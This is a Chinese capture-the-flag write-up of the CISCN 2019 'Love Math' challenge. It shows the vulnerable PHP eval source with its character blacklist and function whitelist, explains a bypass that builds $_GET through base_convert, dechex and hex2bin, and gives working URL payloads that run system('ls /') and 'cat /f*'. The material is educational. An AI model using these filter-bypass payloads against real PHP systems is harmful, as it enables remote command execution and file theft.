当前位置: 首页 > news >正文

[CISCN 2019 初赛]Love Math

打开题目便是一段代码

<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ $content = $_GET['c']; //如果没有在url中通过GET传参数c就显示当前PHP文件源代码,否则,将参数c的值赋给$content if (strlen($content) >= 80) { die("太长了不会算"); } //但是$content的长度不能大于80 $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { //foreach是 PHP 的循环语句,作用是逐个取出$blacklist数组中的元素,并把当前元素赋值给变量$blackitem。 //遍历黑名单数组中的每一个禁止字符 if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } //检查$content中的内容中是否包含禁止的字符,如果包含就停止运行代码然后返回请不要输入奇奇怪怪的字符 } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; //白名单,共有50个数学函数,其中包含base_convert函数,通过base_convert将数字转换为字符串 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); //preg_match_all()会匹配所有符合规则的结果,并把结果存入第三个参数$used_funcs中。 //如果$content = "abs(123) + tan(45) - eval('xxx')",那么$used_funcs[0]会得到['abs', 'tan', 'eval']。 foreach ($used_funcs[0] as $func) { //遍历$used_funcs[0]数组,把当前遍历到的函数名赋值给变量$func。 if (!in_array($func, $whitelist)) { //in_array($func, $whitelist):PHP 内置函数,检查$func是否存在于$whitelist数组中,存在则返回true,否则返回false。 die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }

我们可以利用动态函数调用,白名单仅检查显式写出的函数名不检查动态生成的函数名,所以我们可以利用base_convert函数将数字转换为字符串再调用该函数

不能使用空格和引号我们可以使用括号和逗号来直接传递参数

例如?c=base_convert(55490343972,10,36)(0)就是phpinfo(0)

将十进制数55490343972 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35,所以base_convert(55490343972,10,36)表示的就是phpinfo

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式,所以我们可以先使用base_convert函数将hex2bin() 函数构造出来

base_convert(37907361743,10,36) 表示的就是 hex2bin

而hex2bin(5f474554) 转换完就是 _GET但是吧5f474554中存在以字母开头的子字符串f474554,但是可以使用 dechex()函数将10进制数转换为16进制的数dechex(1598506324)就是等于5f474554,所以_GET就等于base_convert(37907361743,10,36)(dechex(1598506324))

这行的目的是绕过后端关键词过滤,构造出$_GET这个超全局变量名

$pi的值是_GET,所以$$pi等价于$_GET

我们可以通过c参数传递 “读取pi参数的逻辑”,最终让代码去读取 URL 里独立的pi参数值

所以payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls /

在php中数组访问可以用{}来代替[],所以$_GET{pi}等价于$_GET['pi'],所以$_GET['pi'] = 'system' → $$pi{pi} = 'system',所以$_GET['pow'] = 'ls /' → $$pi{pow} = 'ls /'

所以($$pi{pi})($$pi{pow})就是 (system)(ls /)

查看flag

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=cat /f*

flag{65b17e9b-884d-406e-8678-b89d4cdfb073}

http://www.jsqmd.com/news/406602/

相关文章:

  • 2026昔年解析第一使用Flask快速搭建轻量级Web应用
  • 2026喜乐科普第一,使用Flask快速搭建轻量级Web应用
  • 如何编写组织一个现代企业官网的 HTML/CSS 代码
  • 从零开始写第一个网页——HTML结构入门教程(小白友好)
  • 揭秘大数据MapReduce的负载均衡策略
  • 在线家具商城设计与实现pf信息管理系统源码-SpringBoot后端+Vue前端+MySQL【可直接运行】
  • [Godot] 通过AABB包围盒和射线法检测碰撞
  • 2026最新版 Anaconda 下载与安装全流程详解(超详细图文教程)
  • 【建议只看博客教程学习】顶流工程设计服务 GoEngineer 全解析!解锁 CAD/3D 打印一站式解决方案
  • 爆火实测!Nullspace EM vs HFSS vs CST 电磁仿真三巨头终极对比,选型不踩坑
  • 2026年刮泥机服务商性价比深度评估:这三家值得关注 - 2026年企业推荐榜
  • 基于Django的洗衣服务平台设计与实现
  • 2026年温州地区优质猫玩具激光笔生产商盘点与推荐 - 2026年企业推荐榜
  • python基于GSP网店商品管理系统设计与实现
  • django框架基于协同过滤算法的景点美食可视化分析系统【景点(地区)】
  • springboot基于Hadoop的豆瓣电子图书推荐系统_28r41260
  • 专业视角:2026年猫玩具激光笔可靠供应商盘点与推荐 - 2026年企业推荐榜
  • 金属流水景墙行业深度评估:2026年顶尖厂家推荐与联系指南 - 2026年企业推荐榜
  • AI原生应用开发必知:GPT模型微调技巧大全
  • 2026全铝阳台柜选购指南:如何找到靠谱生产商 - 2026年企业推荐榜
  • Balancing Robustness and Accuracy in Mixture-of-Experts
  • 2026年Q1顶尖全铝焊接大板厂家深度评选与选型指南 - 2026年企业推荐榜
  • Java Web 在线家具商城设计与实现pf系统源码-SpringBoot2+Vue3+MyBatis-Plus+MySQL8.0【含文档】
  • 2026年新疆工程外加剂专业销售公司综合盘点 - 2026年企业推荐榜
  • Making Mixture-of-Experts Robust: A Dual-Model Strategy for Accuracy and Adversarial Defense
  • 春晚音质封神!追觅电视大师声学系统,承包春晚全场景听觉体验
  • 从 FWT 到 FFT
  • API调用还是本地部署?LLM使用策略对比
  • 智平方机器人宣布完成10亿融资:估值超百亿 百度与中车是投资方
  • 大数据领域Doris的动态分区管理技巧